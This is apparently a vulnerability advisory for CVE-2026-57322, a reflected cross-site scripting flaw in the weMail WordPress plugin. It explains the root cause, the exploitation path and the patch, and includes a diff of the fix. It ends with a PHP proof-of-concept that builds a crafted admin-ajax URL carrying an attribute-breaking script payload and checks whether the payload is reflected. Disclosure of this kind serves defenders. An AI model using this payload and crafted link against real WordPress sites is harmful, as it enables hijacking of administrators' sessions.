Atomic Edge analysis of CVE-2026-57322:
The weMail plugin for WordPress (version 2.1.2 and earlier) contains a reflected cross-site scripting vulnerability in the form preview functionality. This vulnerability allows unauthenticated attackers to inject arbitrary web scripts that execute when a victim clicks a crafted link.
Root Cause:
The vulnerability resides in wemail/includes/Admin/FormPreview.php, specifically in the render_form_component() method (line 33). The vulnerable code directly outputs the $form[‘type’] and $this->form_id variables into HTML attributes using printf without escaping (line 58). An attacker can control these values because the class does not perform any capability check or nonce verification before rendering. The form ID and type are set via constructor parameters that originate from user-supplied input through AJAX requests.
Exploitation:
An unauthenticated attacker crafts a malicious URL pointing to a weMail AJAX endpoint (admin-ajax.php) with a wemail_form_preview action. The attacker supplies a form_id parameter containing XSS payloads such as “>alert(‘XSS’). When a WordPress administrator or user with appropriate roles clicks this link, the script executes in their browser context. The payload gets embedded directly into the data-form-type attribute without escaping, allowing attribute breaking and script injection.
Patch Analysis:
The patch adds two security controls to render_form_component(). First, a capability check with wemail()->user->can( ‘view_form’ ) ensures only authorized users can access the preview. Second, a call to check_ajax_referer( ‘wemail_form_preview’, ‘nonce’ ) adds CSRF protection via a nonce. Additionally, the output is now properly escaped using esc_attr() for both $form[‘type’] and $this->form_id, preventing HTML attribute injection. The GutenbergBlock.php also generates a previewNonce that is passed to JavaScript, ensuring the frontend can include the required nonce with requests.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a logged-in administrator’s browser. This can lead to session hijacking, phishing attacks, defacement, or privilege escalation via crafted administrative actions performed on behalf of the victim. The attack requires user interaction (clicking a link), making it a medium-severity reflected XSS vulnerability (CVSS 6.1).
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wemail/includes/Admin/FormPreview.php
+++ b/wemail/includes/Admin/FormPreview.php
@@ -33,6 +33,12 @@
* @return string
*/
public function render_form_component() {
+ if ( ! wemail()->user->can( 'view_form' ) ) {
+ wp_die( esc_html__( 'You do not have permission to access this page.', 'wemail' ), 403 );
+ }
+
+ check_ajax_referer( 'wemail_form_preview', 'nonce' );
+
global $wp_scripts;
$form = wemail_form( $this->form_id, true );
?>
@@ -52,7 +58,7 @@
</head>
<body>
<div>
- <?php printf( '<div id="preview-wemail-form" data-form-type="%s"><wemail-form-preview id="%s"/></div>', $form['type'], $this->form_id ); ?>
+ <?php printf( '<div id="preview-wemail-form" data-form-type="%s"><wemail-form-preview id="%s"/></div>', esc_attr( $form['type'] ), esc_attr( $this->form_id ) ); ?>
</div>
<script src="<?php /** phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript */ echo get_site_url() . $wp_scripts->registered['jquery-core']->src; ?>"></script>
--- a/wemail/includes/Admin/GutenbergBlock.php
+++ b/wemail/includes/Admin/GutenbergBlock.php
@@ -41,8 +41,9 @@
'wemail-block-script',
'weMailData',
array(
- 'forms' => $forms ? $forms : array(),
+ 'forms' => $forms ? $forms : array(),
'siteUrl' => get_site_url(),
+ 'previewNonce' => wp_create_nonce( 'wemail_form_preview' ),
)
);
}
--- a/wemail/includes/WeMail.php
+++ b/wemail/includes/WeMail.php
@@ -23,7 +23,7 @@
*
* @var string
*/
- public $version = '2.1.2';
+ public $version = '2.1.3';
/**
* DB version
--- a/wemail/vendor/autoload.php
+++ b/wemail/vendor/autoload.php
@@ -4,4 +4,4 @@
require_once __DIR__ . '/composer/autoload_real.php';
-return ComposerAutoloaderIniteea77b2562e83ee3c0923e5acf738648::getLoader();
+return ComposerAutoloaderInit4ce21918e3c1fe01c09824453b77a455::getLoader();
--- a/wemail/vendor/composer/autoload_real.php
+++ b/wemail/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@
// autoload_real.php @generated by Composer
-class ComposerAutoloaderIniteea77b2562e83ee3c0923e5acf738648
+class ComposerAutoloaderInit4ce21918e3c1fe01c09824453b77a455
{
private static $loader;
@@ -24,15 +24,15 @@
require __DIR__ . '/platform_check.php';
- spl_autoload_register(array('ComposerAutoloaderIniteea77b2562e83ee3c0923e5acf738648', 'loadClassLoader'), true, true);
+ spl_autoload_register(array('ComposerAutoloaderInit4ce21918e3c1fe01c09824453b77a455', 'loadClassLoader'), true, true);
self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
- spl_autoload_unregister(array('ComposerAutoloaderIniteea77b2562e83ee3c0923e5acf738648', 'loadClassLoader'));
+ spl_autoload_unregister(array('ComposerAutoloaderInit4ce21918e3c1fe01c09824453b77a455', 'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
if ($useStaticLoader) {
require __DIR__ . '/autoload_static.php';
- call_user_func(ComposerAutoloadComposerStaticIniteea77b2562e83ee3c0923e5acf738648::getInitializer($loader));
+ call_user_func(ComposerAutoloadComposerStaticInit4ce21918e3c1fe01c09824453b77a455::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
@@ -53,12 +53,12 @@
$loader->register(true);
if ($useStaticLoader) {
- $includeFiles = ComposerAutoloadComposerStaticIniteea77b2562e83ee3c0923e5acf738648::$files;
+ $includeFiles = ComposerAutoloadComposerStaticInit4ce21918e3c1fe01c09824453b77a455::$files;
} else {
$includeFiles = require __DIR__ . '/autoload_files.php';
}
foreach ($includeFiles as $fileIdentifier => $file) {
- composerRequireeea77b2562e83ee3c0923e5acf738648($fileIdentifier, $file);
+ composerRequire4ce21918e3c1fe01c09824453b77a455($fileIdentifier, $file);
}
return $loader;
@@ -70,7 +70,7 @@
* @param string $file
* @return void
*/
-function composerRequireeea77b2562e83ee3c0923e5acf738648($fileIdentifier, $file)
+function composerRequire4ce21918e3c1fe01c09824453b77a455($fileIdentifier, $file)
{
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wemail/vendor/composer/autoload_static.php
+++ b/wemail/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@
namespace ComposerAutoload;
-class ComposerStaticIniteea77b2562e83ee3c0923e5acf738648
+class ComposerStaticInit4ce21918e3c1fe01c09824453b77a455
{
public static $files = array (
'9e4824c5afbdc1482b6025ce3d4dfde8' => __DIR__ . '/..' . '/league/csv/src/functions_include.php',
@@ -207,9 +207,9 @@
public static function getInitializer(ClassLoader $loader)
{
return Closure::bind(function () use ($loader) {
- $loader->prefixLengthsPsr4 = ComposerStaticIniteea77b2562e83ee3c0923e5acf738648::$prefixLengthsPsr4;
- $loader->prefixDirsPsr4 = ComposerStaticIniteea77b2562e83ee3c0923e5acf738648::$prefixDirsPsr4;
- $loader->classMap = ComposerStaticIniteea77b2562e83ee3c0923e5acf738648::$classMap;
+ $loader->prefixLengthsPsr4 = ComposerStaticInit4ce21918e3c1fe01c09824453b77a455::$prefixLengthsPsr4;
+ $loader->prefixDirsPsr4 = ComposerStaticInit4ce21918e3c1fe01c09824453b77a455::$prefixDirsPsr4;
+ $loader->classMap = ComposerStaticInit4ce21918e3c1fe01c09824453b77a455::$classMap;
}, null, ClassLoader::class);
}
--- a/wemail/wemail.php
+++ b/wemail/wemail.php
@@ -6,7 +6,7 @@
* Plugin URI: https://getwemail.io
* Author: weDevs
* Author URI: https://getwemail.io/?utm_source=wp-org&utm_medium=author-uri
- * Version: 2.1.2
+ * Version: 2.1.3
* License: GPL-3.0
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: wemail
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57322 - weMail - Reflected Cross-Site Scripting
/**
* This proof of concept demonstrates reflected XSS in weMail <= 2.1.2
* It sends a request to the vulnerable AJAX endpoint with a malicious payload.
* The payload will execute if a user with admin privileges clicks the generated URL.
*/
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
// Generate XSS payload
$xss_payload = '"><script>alert("XSS")</script>';
// Build the malicious URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$exploit_url = $ajax_url . '?action=wemail_form_preview&form_id=' . urlencode($xss_payload);
// Display the exploit URL
echo "[+] Target URL: " . $target_url . "n";
echo "[+] Exploit URL: " . $exploit_url . "n";
echo "[+] Send this link to an authenticated adminn";
// Optional: Send the request with cURL to simulate
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response === false) {
echo "[!] Request failedn";
} else {
echo "[+] HTTP Status: " . $http_code . "n";
if (strpos($response, $xss_payload) !== false) {
echo "[+] XSS payload reflected in response - vulnerable!n";
} else {
echo "[!] Payload not reflected - might be patchedn";
}
}
?>